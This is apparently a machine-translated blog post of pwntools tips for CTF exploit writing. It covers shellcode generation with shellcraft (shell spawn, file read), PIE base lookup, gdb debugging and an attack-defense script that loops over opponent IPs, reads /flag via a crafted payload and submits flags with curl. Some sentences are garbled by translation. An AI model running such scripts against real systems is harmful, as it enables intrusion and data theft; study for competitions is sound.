habilidades de escritura de pwntools

En las últimas competencias, he aprendido muchos consejos al escribir exp con pwntools.

1. Utilice la depuración multipantalla de TMUX

TMUX es un software de multiplexación de terminales que se utiliza para abrir varias ventanas en una terminal, lo que mejora en gran medida la eficiencia del trabajo. El uso de una máquina virtual con una interfaz gráfica durante el trabajo requiere demasiados recursos y el cambio entre diferentes versiones de libc Complex, por lo que puede optar por depurar configurando un servidor para usar el modo terminal puro, que requiere tmux para la depuración multipantalla

context.terminal = ['tmux', 'splitw', '-h']

Este código se puede dividir automáticamente en dos cuando estamos depurando, agregando una ventana para mostrar el contenido de depuración de GDB

2. Entorno operativo designado

Puede utilizar muchas herramientas que vienen con pwntools para generar shellcode después de haber desarrollado el entorno operativo

context(arch = 'amd64' , os = 'linux', log_level="debug")

En contextespecificado osy archsolo se puede invocar así, o de lo contrario debe escribir shellcraft.amd64.linux.sh().

shellcraft.sh()

Para la generación actual osy archpuede ser un período getshellde shellcodepoco uso esta característica, por lo que shellcoderecomendamos exploitdbir directamente

Pero, de hecho, exploitdblos shellcodeescritos también, en general, se puede escribir, por ejemplo, 64cuando el bit, sólo para hacer rdiun puntero a un depósito con puntero "/bin/sh\x00"y, a continuación rsi, y rdxen casa 0, y luego dejar raxque 0x3bfinalmente se llame syscallse

shellcraft.pushstr()

Genere pushuna cadena que se pueda especificar shellcode, porque escribir una pushcadena usted mismo es en realidad una operación muy complicada. Por ejemplo, si desea pushun párrafo de "/home/t1an5t/pwn/flag"este tipo, debe estar familiarizado con el espacio de la pila y ajustarlo varias veces. tiene una rueda, solo úsela.

shellcraft.cat()

Genera que puede leer directamente el archivo especificadoshellcode

Cuando escribe esto usted mismo shellcode, generalmente usa open()-> read()-> write()para leer e imprimir

Y este cat()comando le ayuda a simplificar esta operación, pero en realidad llama open()-> sendfileto()esta combinación

Tres, cálculo de dirección PIE abierto

def debug(addr,PIE=True):
	if PIE:
		text_base = int(os.popen("pmap {}| awk '{
    
    {print $1}}'".format(p.pid)).readlines()[1], 16)
		gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
	else:
		gdb.attach(p,"b *{}".format(hex(addr)))

Solo podemos obtener la dirección relativa en el análisis estático de IDA, pero la dirección real es la dirección base + la dirección relativa después de la reubicación después de que se ejecuta el programa. Este código se utiliza para obtener automáticamente la dirección base después de que el programa activa la aleatorización de la dirección PIE y obtiene la dirección física real final a través de la dirección relativa y el punto de interrupción aquí.

O puede obtener la dirección base de esta manera y calcularla manualmente

def get_proc_base(p):
    proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
    return proc_base

En cuarto lugar, la elección de diferentes bibliotecas de carga de bibliotecas.

# 正常的调用
p = process('./elf')

# 指定libc的调用,当然,如果你本地的ld.so搞不定libc,这种方法也会报错
p = process('./elf', env={
    
    'LD_PRELOAD':'./libc.so.6'})

# starctf2019里见到的
pwn_file="./lib/ld-2.29.so --library-path ./lib/ ./babyheap"
p = process(pwn_file.split())

Cinco, adjuntar

Acostumbrado gdba attachtiempo, generalmente agregado en una posición correspondiente a:

gdb.attach(p, cmd)

Esto es cmdequivalente al comando que emitió attachdespués del proceso gdb. Si desea emitir varios comandos, recuerde agregar un \nretorno de carro simulado, como:

cmd = "b main\n"
cmd += "set $a = 0x8048000\n"
gdb.attach(p, cmd)

Pero tenga en cuenta que, de hecho gdb attach, su programa no se detendrá como usted desea, continuará ejecutando el código.

Entonces, en general, mi costumbre es atatchagregar una oración después pause(), para asegurarme de pause()que pythonno se llamará al siguiente código en el ** nivel **.

Entonces, generalmente escribo la función de depuración de la siguiente manera:

def debug(cmd=""):
    gdb.attach(p, cmd)
    pause()

Luego, escríbalo debug()al comienzo de la interacción y luego escriba una línea debajo del lugar donde debe detenerse.pause()

Este tipo de pause()redacción adicional , si desea ejecutar hacia abajo, debe ejecutar el comando en la terminal attachexistente , y luego regresar a la gdbterminal donde se cestá ejecutando el programa y presionar Enter. El número de retornos determina cuántos desea ejecutar hacia abajo pause(). Continúa, simplemente desconectados en gdbel terminal ctrl+C. Luego, repita el proceso si desea continuar.

Al configurar ciertas variables, esto se usa generalmente set $a=..., y luego gdbpuede usar x/(numbs)(type) $aesto para ver la memoria en él:

x/32gx $a
x/24wx $a
x/16b $a
x/8c $a
... ... 

El problema del montón normal almacenará el puntero del bloque de montón y quizás otra información en el bsssegmento. Si se IDAmuestra como 0x202010, entonces podemos establecer:

cmd = '''set $a=%d''' %(proc_base+0x202010)

Para un problema de montón un poco más complicado, se puede abrir un espacio para almacenar punteros al bloque de montón durante la inicialización, y luego los punteros a este espacio bssse pueden almacenar de esta manera. En este momento, puede usar este método para establecer:

cmd = '''set $a=*(long*)(%s)''' % hex(proc_base+0x202110)

Seis, modo AD

Un ejemplo de modo AD EXP. Complete la IP de la caja de juego del oponente en el archivo ip.txt, y luego complete la URL de la interfaz para enviar automáticamente la bandera, así como su propio token. Escriba el exploit real exp en el archivo principal función, para que pueda darse cuenta de que me hice una bandera

from pwn import *

context.arch='amd64'
# context.log_level='debug'

def debug(addr,PIE=True):
	if PIE:
		text_base = int(os.popen("pmap {}| awk '{
    
    {print $1}}'".format(p.pid)).readlines()[1], 16)
		gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
	else:
		gdb.attach(p,"b *{}".format(hex(addr)))

def main(host,port=16957):
    global p
    if host:
    	p=remote(host,port)
    else:
    	p=process("./pwn")
    	# gdb.attach(p)
    	debug(0x00000000000739D)
    code = """string readfile(string name);string lnk(string src, string dest);string print(string x);lnk("/flag", "/tmp/y");print(readfile("/tmp/y"));"""

    p.recvuntil("size: ")
    p.sendline(str(len(code)+2))
    p.recvuntil("Give me your script(same size): ")
    p.sendline(code)

    try:
        p.recvuntil("flag",timeout=0.5)
        flag = "flag" + p.recvuntil("\n",timeout=0.5)
        info(flag)
        p.close()
        return flag
    except Exception,err:
        print err
        p.close()
        return "bad_luck"
    p.interactive()

if __name__ == '__main__':
	# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
	# main("123.57.209.176")

	# main("172.20.0.27")
    ips = [i.strip() for i in open("ip.txt","rb").readlines()]
    while(1):
        for ip in ips:
        	try:
        		sleep(1)
        		flag = main(ip)
        		# flag = main(args["REMOTE"])
        		info(flag)
        		url = 'https://172.20.1.1/Answerapi/sub_answer_api'
        		token = 'token78s8gbv55k4b03'
        		cmds = 'curl -k {} -d "answer={}&playertoken={}"'.format(url,flag.strip(),token)
        		print cmds
        		if 'flag' in cmds:
        			os.system(cmds)
        	except Exception,err:
        		p.close()
        		print err
        		continue
        sleep(30)

Siete, artículos de referencia

Hay muchas referencias a los artículos del maestro t1an5t:

Supongo que te gusta

Origin blog.csdn.net/kelxLZ/article/details/111030480
Recomendado
Clasificación